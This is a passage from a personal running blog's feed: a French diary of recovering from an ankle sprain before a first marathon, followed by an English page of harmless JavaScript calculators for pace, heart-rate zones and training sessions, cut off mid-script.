&lt;li&gt;D'ailleurs la douleur n'est pas toujours la même. Parfois dans la journée j'ai à peine mal en marchant, parfois hyper mal. Au repos, des fois je ressens rien, des fois je suis à 3/10 en douleur, assis.&lt;/li&gt;
&lt;li&gt;J'ai strappé 2 ou 3 fois, pas vu de changement non plus.&lt;/li&gt;
&lt;li&gt;Je crois que je vais aller passer une radio pour être fixé sur l'arrachement osseux ou non.&lt;/li&gt;
&lt;li&gt;Ça pue pour le marathon dans 5 semaines et demi...&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="update-samedi-21-septembre"&gt;Update Samedi 21 Septembre&lt;/h1&gt;
&lt;p&gt;Radio passée hier soir, aucune fracture, ni de stress, ni classique. Pas d'arrachement osseux. On m'a conseillé de passer une IRM la semaine pro si la douleur ne diminue pas. Ils m'ont mis une bonne dose de Voltaren, ce qui a entre temps bien fait diminuer la douleur. Je marche mieux aujourd'hui mais boite encore, et je ne peux toujours pas me mettre en équilibre sur la pointe du pied droit seul, hyper douloureux et j'ai l'impression de ne pas avoir la force nécessaire. Les 2 pieds en même temps, je peux. Affaire à suivre la semaine pro...&lt;/p&gt;
&lt;h1 id="update-dimanche-22-septembre"&gt;Update Dimanche 22 Septembre&lt;/h1&gt;
&lt;p&gt;Après une nuit de 12 heures, beaucoup beaucoup moins de douleurs, et marche presque normale, léger boitement. Ça a dégonflé un peu aussi. Je n'arrive pas encore à me dresser sur le pied droit seul, sur la pointe des pieds, de tout mon poids, mais j'y arrive avec l'aide du pied gauche mieux qu'hier ! Toujours impossible par contre de me "propulser en avant", comme si je courrais. Bref, du mieux, je crois que je vais pouvoir échapper à l'IRM. Vendredi il y a 2 jours j'avais perdu l'espoir de courir le marathon fin Octobre, aujourd'hui je reprends espoir, j'estime à 75% mes chances de le courir. ✌&lt;/p&gt;
&lt;h1 id="update-mercredi-25-septembre"&gt;Update Mercredi 25 Septembre&lt;/h1&gt;
&lt;p&gt;Premier jour où je n'ai pas mal du tout à la cheville en me levant... jusqu'à ce que j'essaye de la solliciter un peu. Je ne boite plus !!! Toujours une douleur en marchant, sur le côté droit de la cheville et au dessus du pied, mais pas suffisante/handicapante au point de me faire boiter. D'ailleurs, cette douleur sur le dessus du pied est étrange. Peut-être que c'est la douleur à droite qui irradie ? Aussi, j'ai toujours bien bien mal aux tendons du long et court fibulaires et aux muscles eux-mêmes, lorsque je croise les jambes et pose mon tibia droit sur le genou de la jambe gauche.&lt;/p&gt;
&lt;p&gt;Autre nouveauté : depuis aujourd'hui, j'arrive à me dresser sur la pointe du pied droit seul !! J'ai même essayé de trottiner dans l'appart, je peux ! C'était impossible jusqu'à hier.&lt;/p&gt;
&lt;p&gt;À noter, ce qui m'a bien aidé dans les derniers jours : élever ma jambe droite le plus souvent possible, même pendant les heures de travail, le but étant d'avoir la cheville plus haute que le coeur. Ça aide à faire dégonfler et partir la douleur après avoir marché un peu trop longtemps. D'ailleurs, ma cheville a bien dégonflé et est presque revenue à la normale.&lt;/p&gt;
&lt;p&gt;L'espoir continue de revenir, j'envisage peut être un mini run (1km?) ce dimanche à allure faible, on verra. Pédaler ne me fait plus mal du tout, j'irai peut-être faire un tour de vélo aussi dimanche, ça peut que aider, et surtout ça m'aidera à maintenir ma forme. 80% de chances de courir le 27 Octobre ?&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/nMovK1uMlb4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/V5S1KtdShMM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/KgF2h1P7_SU" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/GaxZiRYvMBY" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/Wx_qNJiyNCs" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="update-vendredi-27-septembre"&gt;Update Vendredi 27 Septembre&lt;/h1&gt;
&lt;p&gt;3ième jour sans boiter et presque aucune douleur aujourd'hui. C'est encore un peu gonflé. Toujours une légère douleur de fond, persistante, sur le dessus du pied. Je peux marcher et trottiner, sans douleur supplémentaire. En terme de mobilité, j'ai bien perdu à droite. Pied au sol, je peux facilement avancer mon genou de la jambe gauche vers l'avant, en flexion, par contre à droite je parcours à peine la moitié de la distance de gauche. Je vais travailler ça dans les prochains jours, et ainsi que ma propriocéption. J'ai aussi toujours cette douleur aux muscles fibulaires de droite, quand je pose la jambe sur le genou gauche. Chiant.&lt;/p&gt;
&lt;p&gt;Bien sûr je n'ai pas sû résister et attendre dimanche, je suis sorti courir 2 kms aujourd'hui, à faible allure. En courant, absolument aucune douleur. Une fois rentré par contre, la douleur s'est reveillée et a atteint un bon 3/10, presque uniquement sur le côté droit de la cheville vers la malléole. À voir si c'est temporaire juste ce soir, ou si ça perdure demain. Ça me refait douter pour le marathon. Dimanche, je ferai pas le fou, et selon la douleur (ou non) au réveil, je retenterai l'expérience d'aller courir 2 kms.&lt;/p&gt;
&lt;h1 id="update-lundi-30-septembre"&gt;Update Lundi 30 Septembre&lt;/h1&gt;
&lt;p&gt;Bon eh bien la douleur de vendredi post-run n'aura duré que quelques heures, le temps de re-élever ma jambe et la douleur avait disparu.&lt;/p&gt;
&lt;p&gt;Hier dimanche, nouvelle sortie en endurance fondamentale vraiment lente (6'20"/km) de 7 kms. En rentrant, légère douleur de 2/10 (moins que vendredi soir donc) qui, pareil, a disparu quelques heures plus tard.&lt;/p&gt;
&lt;p&gt;Ce soir, je rechausse mes nouvelles Asics METASPEED SKY PARIS et c'est parti pour 3 kms à 4'56"/km. À peine 2/10 de douleur à un moment en fin de sortie, tout juste rentré que la douleur a déjà disparu.&lt;/p&gt;
&lt;p&gt;Autre bonne nouvelle, je peux à nouveau poser mon tibia droit sur mon genou gauche (croiser les jambes donc) sans presque aucune douleur dans les fibulaires. 🎉 Une mini gêne persiste, mais c'est beaucoup mieux.&lt;/p&gt;
&lt;p&gt;C'est décidé, à partir de mercredi dans 2 jours je reprends mon programme, avec 4 sorties prévues par semaine. Je vais cependant sauter toutes les séances VMA, et faire du pace marathon à la place. Dimanche qui vient je ne ferai probablement pas les 31 kms de prévus, si j'atteins 20 je serai content. Je les ferai avec les Asics METASPEED SKY PARIS, histoire de faire au moins une sortie longue avec les chaussures que j'utiliserai le jour du marathon. La semaine prochaine, l'application Kiprun Pacer me fait en théorie commencer le &lt;em&gt;taper&lt;/em&gt;, mais vu que je sors de 11 jours sans courir, je suis reposé, je vais réduire mon &lt;em&gt;taper&lt;/em&gt; à 7-10 jours je pense, j'ai aucune fatigue accumulée au moment où j'écris ces lignes. Donc semaine prochaine si tout va bien, je ferai une semaine encore plus grosse que celle qui vient de commencer. Semaine suivante, avant course, je réduirai un peu (peut-être ?). Et semaine de course, &lt;em&gt;taper&lt;/em&gt; classique. Bien sûr j'adapterai si la douleur revient, et surtout je couperai chaque séance si besoin. J'avoue, plus facile à écrire qu'à faire, mais pour une fois, ça serait pas mal que je m'écoute ! Hors de question de reprendre des risques.&lt;/p&gt;
&lt;p&gt;Ce qui est sûr à 99%, c'est que je prendrai le départ de mon premier marathon ce 27 octobre. La grande inconnue qui me fait peur, c'est est-ce que ma cheville tiendra les 42 kms sans me faire mal, sans réveiller la douleur ? Comme ce fût le cas il y a 2 semaines, lors de ma sortie longue de 25 kms (courue à 5'28"/km en moyenne, donc plus lentement que mon pace marathon). C'est là que mon entorse qui était en voie de guérison s'est aggravée, au point de ne plus pouvoir marcher la semaine suivante. D'ici là, maxi renforcement musculaire, j'élève ma jambe aussi souvent que possible (un mini gonflement persiste, mais vraiment minime), exercices d'équilibre et de propriocéption tous les jours. Et de la marche aussi. Et gros focus sur le sommeil, on vise 8h toutes les nuits. On y croit 💪. Let's go!!! Si pas de nouvelle ici, c'est que tout va bien.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/CjwobnRKk-g" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;h1 id="update-jeudi-3-octobre"&gt;Update Jeudi 3 Octobre&lt;/h1&gt;
&lt;p&gt;Tout va bien ! Hier reprise du programme d'entraînement, aucune douleur pendant la sortie, en rentrant légère douleur mais disparue aujourd'hui, après une nuit de 10h. D'ailleurs cet après-midi, 8.75 kms courus en endurance fondamentale avec quelques accélérations autour de 4'00"/km, aucune douleur. En rentrant, aucune douleur non plus. Demain, séance VMA prévue. La semaine dernière je m'étais dit que je sauterais les séances VMA mais j'ai finalement bien envie de les faire au vu de la vitesse à laquelle je récupère, dans l'espoir d'améliorer mes performances. L'occasion aussi de tester les nouvelles chaussures à haute vitesse. Bien sûr je couperai si douleur.&lt;/p&gt;
&lt;p&gt;Ah et d'ailleurs la douleur aux fibulaires a complétement disparu. J'essaie tous les jours de faire mes exercices. La mobilité revient petit à petit, notamment la flexion vers avant, dans l'axe. Comparé à la jambe gauche, mon genou avance de 4-5 cm de moins, mais ça s'améliore tous les jours.&lt;/p&gt;
&lt;p&gt;En bref, les exercices que je fais :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Flexion genou vers l'avant, jambe gauche jusqu'à toucher le mur, jambe droite en essayant aussi mais pour le moment il manque quelques cms.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=V5S1KtdShMM&amp;amp;t=450s"&gt;Avec un élastique, pivoter le pied vers l'extérieur en résistance, pour faire travailler les fibulaires&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Protocole de Stanish pour faire travailler les mollets&lt;/li&gt;
&lt;li&gt;Des sauts sur un pied avec stabilisation pour travailler l'équilibre&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=GaxZiRYvMBY&amp;amp;t=149s"&gt;Faire la pendule avec le pied gauche, en appui sur le pied droit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ça s'annonce très bon pour le 27 !&lt;/p&gt;
&lt;h1 id="update-vendredi-4-octobre"&gt;Update Vendredi 4 Octobre&lt;/h1&gt;
&lt;p&gt;La séance VMA est passée crême, même si c'était la plus dure que j'ai jamais faite ! Aucune douleur. Limite j'ai des douleurs naissantes dans la jambe gauche (l'autre donc), vers le tibia. Super 😆 !&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot sur Strava" src="https://romainpellerin.eu/images/intervals.png"&gt;&lt;/p&gt;
&lt;p&gt;J'ai découvert ce soir un nouveau protocole, hyper récent, pour évaluer l'abilité de quelqu'un à retourner au sport après une entorse : &lt;a href="https://anklego.com/"&gt;Ankle-GO&lt;/a&gt;. Pas sûr que je fasse le test mais hyper intéressant.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/vA9aKCbLcs0" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Dimanche, tous les voyants sont verts pour tenter les 31 kms.&lt;/p&gt;
&lt;h1 id="update-dimanche-6-octobre"&gt;Update Dimanche 6 Octobre&lt;/h1&gt;
&lt;p&gt;Les 31 kms sont passés N.I.Q.U.E.L, absolument aucune douleur. Je déclare l'épisode "entorse de la cheville" terminé, direction le marathon dans 3 semaines !!!&lt;/p&gt;</content><category term="Running"></category><category term="entorse"></category><category term="cheville"></category><category term="running"></category></entry><entry><title>Running Calculators</title><link href="https://romainpellerin.eu/running-calculators.html" rel="alternate"></link><published>2024-08-24T13:00:00+02:00</published><updated>2026-03-03T22:39:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2024-08-24:/running-calculators.html</id><summary type="html">&lt;p&gt;A bunch of calculators for runners&lt;/p&gt;</summary><content type="html">&lt;style&gt;
div#menu {
  text-align: center
}

div#menu a {
  display: inline-block;
  padding: 5px;
  border-radius: 5px;
  background: orange;
  margin: 3px;
  text-decoration: none;
}
&lt;/style&gt;

&lt;script&gt;
    /* THIS BLOCK OF JS CODE MUST REMAIN AT THE TOP OF THE ARTICLE */
    const matchPaceFormatWithColon = v =&gt; v &amp;&amp; v.match(/^(\d{1,2}):(\d{2})$/);
    const matchPaceFormatWithQuotes = v =&gt; v &amp;&amp; v.match(/^(\d{1,2})'(\d{2})"$/);
    const paceToSeconds = (v, separator = 'COLON') =&gt; {
            const [, minutes, seconds] = separator === 'COLON' ? matchPaceFormatWithColon(v) : matchPaceFormatWithQuotes(v)
            return Number(minutes) * 60 + Number(seconds)
    }
    const differenceBetweenPaces = (min, max) =&gt; paceToSeconds(max) - paceToSeconds(min)
    const secondsToTime = (v) =&gt; {
            let minutes = Math.floor(v / 60)
            let hours = 0
            const seconds = String(v % 60).padStart(2, '0')
            if (minutes &gt; 59) {
                    hours = Math.floor(minutes / 60)
                    minutes = String(minutes % 60).padStart(2, '0')
            }
            minutes = String(minutes)
            const result = [String(hours), minutes, seconds]
            result.valueWithQuotes = hours ? `${hours}h${minutes}'${seconds}"` : `${minutes}'${seconds}"`
            result.valueWithColon = hours ? `${hours}:${minutes}:${seconds}` : `${minutes}:${seconds}`
            return result
    }
    const roundTo1 = num =&gt; Math.round((num + Number.EPSILON) * 10) / 10
    const paceInSecondsToSpeed = paceInSeconds =&gt; roundTo1(3600.0/paceInSeconds) // .toFixed(1) is less precise
    const speedInKmhTimesPercent = (kmh, percent) =&gt; (percent * kmh / 100).toFixed(2)
    const paceInSecondsToFinishTime = (paceInSeconds, kms) =&gt; secondsToTime(Math.ceil(paceInSeconds * kms)).valueWithColon
    const secondsAtPaceToMeters = (seconds, paceInSeconds) =&gt; Math.floor((seconds * 1000) / paceInSeconds)
    const metersAtPaceToSeconds = (meters, paceInSeconds) =&gt; Math.ceil((meters * paceInSeconds) / 1000)
    const speedToSecondsForOneKilometer = speed =&gt; Math.ceil(3600/speed)

    function createHeadingMenu() {
        const menu = document.querySelector('div#menu');
        if (!menu) return;

        const headings = document.querySelectorAll('h1[id]');
        if (headings.length === 0) return;

        headings.forEach(heading =&gt; {
                const listItem = document.createElement('a');

                listItem.setAttribute('href', '#' + heading.id);
                listItem.textContent = heading.textContent;

                menu.appendChild(listItem);
        });
    }

    document.addEventListener("DOMContentLoaded", createHeadingMenu)
&lt;/script&gt;

&lt;div id="menu"&gt;&lt;/div&gt;

&lt;h1 id="running-pace-to-finish-times"&gt;Running pace to finish times&lt;/h1&gt;
&lt;div id="pace_chart_info"&gt;
From &lt;input pattern="\d{1,2}:\d{2}" type="text" id="fastest_pace" placeholder="Fastest pace" value="3:52"/&gt;
to &lt;input pattern="\d{1,2}:\d{2}" type="text" id="slowest_pace" placeholder="Slowest pace" value="4:05"/&gt;

&lt;div class="distance"&gt;&lt;input data-kms="42.195" id="marathon" type="checkbox" checked /&gt;&lt;label for="marathon"&gt;Marathon&lt;/label&gt;&lt;/div&gt;
&lt;div class="distance"&gt;&lt;input data-kms="25" id="km25" type="checkbox" /&gt;&lt;label for="km25"&gt;25 kms&lt;/label&gt;&lt;/div&gt;
&lt;div class="distance"&gt;&lt;input data-kms="21.0975" id="half_marathon" type="checkbox" /&gt;&lt;label for="half_marathon"&gt;Half-marathon&lt;/label&gt;&lt;/div&gt;
&lt;div class="distance"&gt;&lt;input data-kms="10" id="km10" type="checkbox" /&gt;&lt;label for="km10"&gt;10 kms&lt;/label&gt;&lt;/div&gt;
&lt;div class="distance"&gt;&lt;input data-kms="5" id="km5" type="checkbox" checked /&gt;&lt;label for="km5"&gt;5 kms&lt;/label&gt;&lt;/div&gt;
&lt;div class="distance"&gt;&lt;input data-kms="custom" type="checkbox" /&gt;&lt;input type="number" step="0.1" id="custom" placeholder="Custom distance" value="3.5"/&gt; kms&lt;/div&gt;
&lt;/div&gt;

&lt;table class="collapse" id="pace_chart_results"&gt;&lt;/table&gt;

&lt;script&gt;
    const fastestPace = document.querySelector('input#fastest_pace')
    const slowestPace = document.querySelector('input#slowest_pace')
    const custom = document.querySelector('input#custom')

    function paceChartInputChange() {
        custom.parentElement.querySelector('[data-kms]').dataset.kms = custom.value

        const min = fastestPace.value;
        const max = slowestPace.value;

        if (!matchPaceFormatWithColon(min) || !matchPaceFormatWithColon(max) || differenceBetweenPaces(min, max) &lt; 0) return
        const difference = differenceBetweenPaces(min, max) + 1
        const minInSeconds = paceToSeconds(min)

        const table = document.getElementById('pace_chart_results')
        let newTable = "&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Pace&lt;/th&gt;&lt;th&gt;Speed&lt;/th&gt;"

        const distances = Array.from(document.querySelectorAll('.distance')).map(div =&gt; {
                const input = div.querySelector('input[type="checkbox"]')
                const checked = input.checked
                const kms = Number(input.dataset.kms)
                const label = div.querySelector('label')?.innerText ?? `${kms} kms`
                return {checked, kms, label}
        }).filter(({checked})=&gt;checked);

        newTable += `${distances.map(({kms, label}) =&gt; `&lt;th&gt;${label}&lt;/th&gt;`).join("")}&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;`

        const paces = [...new Array(+difference)].map(function(_,i) { return i + minInSeconds })
        const result = paces.map(function(paceInSeconds) {
            const pace = secondsToTime(paceInSeconds).valueWithQuotes + "/km"
            const speed = paceInSecondsToSpeed(paceInSeconds)
            const row = distances.map(({kms}) =&gt; `&lt;td&gt;${paceInSecondsToFinishTime(paceInSeconds, kms)}&lt;/td&gt;`).join("")

            newTable += `&lt;tr&gt;&lt;th&gt;${pace}&lt;/th&gt;&lt;th&gt;${speed} km/h&lt;/th&gt;${row}&lt;/tr&gt;`
        })

        newTable += "&lt;/tbody&gt;"
        table.innerHTML = newTable
    }

    document.querySelectorAll('#pace_chart_info input').forEach(el =&gt; {
        el.addEventListener('input', paceChartInputChange)
    })
    if (fastestPace.value || slowestPace.value) {
        paceChartInputChange()
    }
&lt;/script&gt;

&lt;h1 id="zones"&gt;Zones&lt;/h1&gt;
&lt;p&gt;(&lt;a href="https://en.wikipedia.org/wiki/VVO2max"&gt;MAS&lt;/a&gt; is &lt;em&gt;&lt;a href="https://fr.wikipedia.org/wiki/Vitesse_maximale_a%C3%A9robie"&gt;VMA&lt;/a&gt;&lt;/em&gt; in French)&lt;/p&gt;
&lt;p&gt;MAS speed (km/h): &lt;input type="number" step="0.01" id="mas" placeholder="MAS speed (km/h)" value="17.78"/&gt;
Max HR: &lt;input type="number" step="1" id="maxhr" placeholder="Max HR" value="202"/&gt;&lt;/p&gt;
&lt;div&gt;
Percentage: &lt;input type="number" step="1" id="random_percent" placeholder="% of your MAS" value="100"/&gt;%
&lt;span id="random_percent_result"&gt;&lt;/span&gt;
&lt;/div&gt;

&lt;div id="zones_result"&gt;&lt;/div&gt;

&lt;details&gt;&lt;summary&gt;more info&lt;/summary&gt;
&lt;a href="https://youtu.be/4QhT_6YgOuI?t=1861"&gt;There are multiple scales that exist out there, but none of them will have exactly the same values nor the same zones.&lt;/a&gt; Here are two scales that I personnally use. They work for me, they might not for you.
&lt;br /&gt;&lt;br /&gt;
The first table is greatly inspired by &lt;a href="https://www.facebook.com/lorblanchet/posts/pfbid032J13PKC2rDPA84weL5dXZ9G8GpznZBVwgrqZszF6opB121oEpwqKZ7hjNQ2NCehel"&gt;this one&lt;/a&gt;, even though I found the given HRmax values way too high, compared to the MAS values. Generally, based on what I read on the internet but also my observations, for any pace, "(percent of MAS plus 5 to 10) = percent of your HRmax" (more or less). So I changed the HRmax values in the first table above and adjusted them to what I observed with my very own heart, at those paces. Most other scales on the internet seem to agree and use the formula "percent of MAS + 5 = percent of HRmax".
&lt;br /&gt;&lt;br /&gt;
In recent years, many pace charts started using the "heart rate reserve" as their basis, instead of HRmax. I have not dug the topic enough, so I'm not using that (so far). "Heart rate reserve" basically means HRmax - resting heart rate. Not everyone agrees on how the "resting heart rate" should be measured. Lowest value in the night? Lowest value in the day, while sitting and doing nothing? Average value measured during sleep? Therefore, I'm quite reluctant to use this for now.
&lt;br /&gt;&lt;br /&gt;
The second table, on ventilatory thresholds, is a mashup of multiple articles I've read. I simplified the values to make it easier to understand.
&lt;br /&gt;&lt;br /&gt;
In &lt;a href="https://youtu.be/k8oADrC5Q1w?t=456"&gt;other&lt;/a&gt; &lt;a href="https://youtu.be/ZDdZ3TqJkd8?t=471"&gt;sources&lt;/a&gt;, I've found slightly different values for SV1 (&lt;i&gt;VT1&lt;/i&gt; in English) and SV2 (&lt;i&gt;VT2&lt;/i&gt; in English). But these values are athlete-dependant anyways. It's never an exact value. And it's different for everyone.
&lt;br /&gt;&lt;br /&gt;
VT1/SV1 is &lt;a href="https://youtu.be/k8oADrC5Q1w?t=555"&gt;slightly slower than marathon pace.&lt;/a&gt;
&lt;br /&gt;&lt;br /&gt;
When people refer to "threshold" only, without specifying 1 or 2, they mean the second one (VT2/SV2). &lt;a href="https://youtu.be/k8oADrC5Q1w?t=570"&gt;It's an effort than can be sustained up to an hour.&lt;/a&gt; &lt;a href="https://youtu.be/k8oADrC5Q1w?t=526"&gt;It's the same as FTP in cycling.&lt;/a&gt;

&lt;/details&gt;

&lt;script&gt;
  const masInput = document.querySelector('input#mas')
  const maxHrInput = document.querySelector('input#maxhr')
  const randomPercent = document.querySelector('input#random_percent')

  const allZones = [
    {title: "Classic 5 zones", zones: [
      {percentHr: [70], percentMas: [50,60], zone: 1, name: 'Endurance fondamentale'},
      {percentHr: [70,75], percentMas: [60,70], zone: 2, name: 'Endurance active'},
      {percentHr: [75,85], percentMas: [70,80], zone: 3, name: 'Allure marathon'},
      {percentHr: [85,95], percentMas: [80,90], zone: 4, name: 'Allures semi→10km, allure tempo, allure "au seuil" [anaérobie]'},
      {percentHr: [95,100], percentMas: [90,100], zone: 5, name: 'Allures 5km→VMA'},
    ]},
    {title: "Zones based on ventilatory thresholds", zones: [
      {percentHr: [80], percentMas: [75], zone: 1, name: 'Sous le seuil aérobie / seuil ventilatoire 1 (SV1) = endurance fondamentale'},
      {percentHr: [80,90], percentMas: [75,85], zone: 2, name: 'Entre le seuil aérobie (SV1) et anaérobie (SV2) = allures marathon→semi'},
      {percentHr: [90,100], percentMas: [85,100], zone: 3, name: 'Au delà de SV2 = allures 10km→VMA'},
    ]}
  ]

  function MASzonesInputChange() {
    if (!masInput.value) return

    document.querySelector('#zones_result').innerHTML = ""
    let randomPercentResult
    if (randomPercent.value) {
      const speed = speedInKmhTimesPercent(masInput.value, randomPercent.value)
      randomPercentResult = `= ${secondsToTime(speedToSecondsForOneKilometer(speed)).valueWithQuotes} (${speed} km/h)`
    }
    else {
      randomPercentResult = ""
    }
    document.querySelector('span#random_percent_result').innerHTML = randomPercentResult

    allZones.forEach(({title, zones }) =&gt; {
        let newTable = `&lt;h2&gt;${title}&lt;/h2&gt;&lt;table class=\"collapse\"&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Zone&lt;/th&gt;&lt;th&gt;Name(s)&lt;/th&gt;&lt;th&gt;% MAS&lt;/th&gt;&lt;th&gt;% HRmax&lt;/th&gt;&lt;th&gt;Pace&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;`

        const hueStep = (120 / (zones.length - 1))
        zones.map(({percentMas,zone,percentHr,name},index,array) =&gt; {
          const hue = 120 - (index * hueStep)
          const color = `hsl(${hue}, 100%, 50%)`
          const speeds = percentMas.map(percent =&gt; speedInKmhTimesPercent(masInput.value, percent))
          const paces = speeds.map(speed =&gt; secondsToTime(speedToSecondsForOneKilometer(speed)).valueWithQuotes)
          const hrs = maxHrInput.value ? percentHr.map(hr =&gt; Math.round(maxHrInput.value * hr / 100)) : []
          newTable += `&lt;tr style="background-color: ${color}"&gt;&lt;td&gt;${zone}&lt;/td&gt;&lt;td&gt;${name}&lt;/td&gt;`

          // % MAS
          let masRow = ''
          if (percentMas.length === 1) {
                masRow = `&lt;span style="white-space: nowrap;"&gt;&lt;= ${percentMas[0]}% (${speeds[0] ?? '?'} km/h)&lt;/span&gt;`
          }
          else {
                masRow = percentMas.map((mas,i) =&gt; `&lt;span style="white-space: nowrap;"&gt;${mas}% (${speeds[i] ?? '?'} km/h)&lt;/span&gt;`).join('&lt;br /&gt;⬇️&lt;br /&gt;')
          }
          newTable += `&lt;td class="center"&gt;${masRow}&lt;/td&gt;`

          // % HRmax
          let hrRow = ''
          if (percentHr.length === 1) {
                hrRow = `&lt;span style="white-space: nowrap;"&gt;&lt;= ${percentHr[0]}% (${hrs[0] ?? '?'} bpm)&lt;/span&gt;`
          }
          else {
                hrRow = percentHr.map((hr,i) =&gt; `&lt;span style="white-space: nowrap;"&gt;${hr}% (${hrs[i] ?? '?'} bpm)&lt;/span&gt;`).join('&lt;br /&gt;⬇️&lt;br /&gt;')
          }
          newTable += `&lt;td class="center"&gt;${hrRow}&lt;/td&gt;`

          // Paces
          newTable += `&lt;td class="center"&gt;${paces.join('&lt;br /&gt;⬇️&lt;br /&gt;')}&lt;/td&gt;`
          newTable += `&lt;/tr&gt;`
        })

        newTable += "&lt;/tbody&gt;&lt;/table&gt;"
        document.querySelector('#zones_result').innerHTML += newTable
    })
  }

  masInput.addEventListener('input', MASzonesInputChange)
  maxHrInput.addEventListener('input', MASzonesInputChange)
  randomPercent.addEventListener('input', MASzonesInputChange)
  MASzonesInputChange()
&lt;/script&gt;

&lt;h2 id="session-parser-zones-distribution"&gt;Session parser - zones distribution&lt;/h2&gt;
&lt;p&gt;To categorize the paces into zone 1 (below VT1), zone 2 (VT1 to VT2) or zone 3 (above VT2), the MAS value your entered at the top of this section will be used.&lt;/p&gt;
&lt;div style="display: flex"&gt;
&lt;textarea style="flex: 1 0 0" id="session_parser" rows="10" cols="0"&gt;
30min warm-up 5'53" working towards 5'03"
3000m 3'55"
10min cool-down 5'53"
45min 5'26" working towards 5'03"
20min warm-up 5'53" working towards 5'26"
8x (400m / 1min24 3'32" + 200m recovery 5'53")
10min cool-down 5'53"
6km 5'53" working towards 5'26"
4km 4'57"
&lt;/textarea&gt;

&lt;textarea style="flex: 1 0 0; background-color: #ddd" id="session_parser_results" rows="10" cols="0" readonly&gt;&lt;/textarea&gt;

&lt;/div&gt;

&lt;div id="session_parser_zones_results"&gt;&lt;/div&gt;

&lt;script&gt;
    const sessionParserTextarea = document.querySelector('textarea#session_parser')
    const sessionParserResults = document.querySelector('#session_parser_results')

    const regexWithMultiplicator = /^(?&lt;multiplicator&gt;\d+)\s?x\s?\((?&lt;rest&gt;.*?)\)$/
    const regexWorkingTowards = /(?&lt;paceA&gt;\d{1,2}'\d{2}")\s?working towards\s?(?&lt;paceB&gt;\d{1,2}'\d{2}")/g

    // ([a-z-]+ )? is for recovery/warm-up/cool-down terms
    const regexFindMeters = /(?&lt;meters&gt;\d{2,5})\s?m (?:\/ \dmin\d{1,2} )?([a-z-]+ )?(?&lt;pace&gt;\d{1,2}'\d{2}")/g
    const regexFindKiloMeters = /(?&lt;kilometers&gt;\d{1,2}(\.\d{1,3})?)\s?km ([a-z-]+ )?(?&lt;pace&gt;\d{1,2}'\d{2}")/g
    const regexMinsSecsToDistance = /(?&lt;mins&gt;\d{1,3})\s?mins?(?&lt;secs&gt;\d{1,2})? ([a-z-]+ )?(?&lt;pace&gt;\d{1,2}'\d{2}")/g

    function sessionParserInputChange() {
        const zone1 = [] // % MAS &lt;= 75
        const zone2 = [] // % MAS &lt;= 85
        const zone3 = [] // % MAS &gt; 85

        const vt1Speed = speedInKmhTimesPercent(masInput.value, 75)
        const vt2Speed = speedInKmhTimesPercent(masInput.value, 85)
        const vt1PaceInSeconds = speedToSecondsForOneKilometer(vt1Speed)
        const vt2PaceInSeconds = speedToSecondsForOneKilometer(vt2Speed)

        const lines = sessionParserTextarea.value.split("\n")
        const results = lines.map(l =&gt; l.trim()).filter(l =&gt; l.length &gt; 0).map(line =&gt; {
                let lineToParse = line
                let multiplicator = 1

                let result = lineToParse.match(regexWithMultiplicator)
                if (result) {
                        multiplicator *= result.groups.multiplicator
                        lineToParse = result.groups.rest
                }

                // Let's replace the "working towards" with their average pace
                result = lineToParse.matchAll(regexWorkingTowards)
                for (const match of result) {
                        const {paceA, paceB} = match.groups
                        const toReplace = match[0]
                        let averagePace = Math.ceil((paceToSeconds(paceA, 'QUOTE') + paceToSeconds(paceB, 'QUOTE')) / 2)
                        averagePace = secondsToTime(averagePace).valueWithQuotes
                        lineToParse = lineToParse.replace(toReplace, averagePace)
                }

                // Let's replace `400m 4'57"` with `4000@4'57"`
                result = lineToParse.matchAll(regexFindMeters)
                for (const match of result) {
                        const {meters, pace} = match.groups
                        const toReplace = match[0]
                        const metersAtPace = `${meters}@${pace}`
                        lineToParse = lineToParse.replace(toReplace, metersAtPace)
                }
                // Let's replace `4km 4'57"` with `4000@4'57"`
                result = lineToParse.matchAll(regexFindKiloMeters)
                for (const match of result) {
                        const {kilometers, pace} = match.groups
                        const toReplace = match[0]
                        const metersAtPace = `${Number(kilometers)*1000}@${pace}`
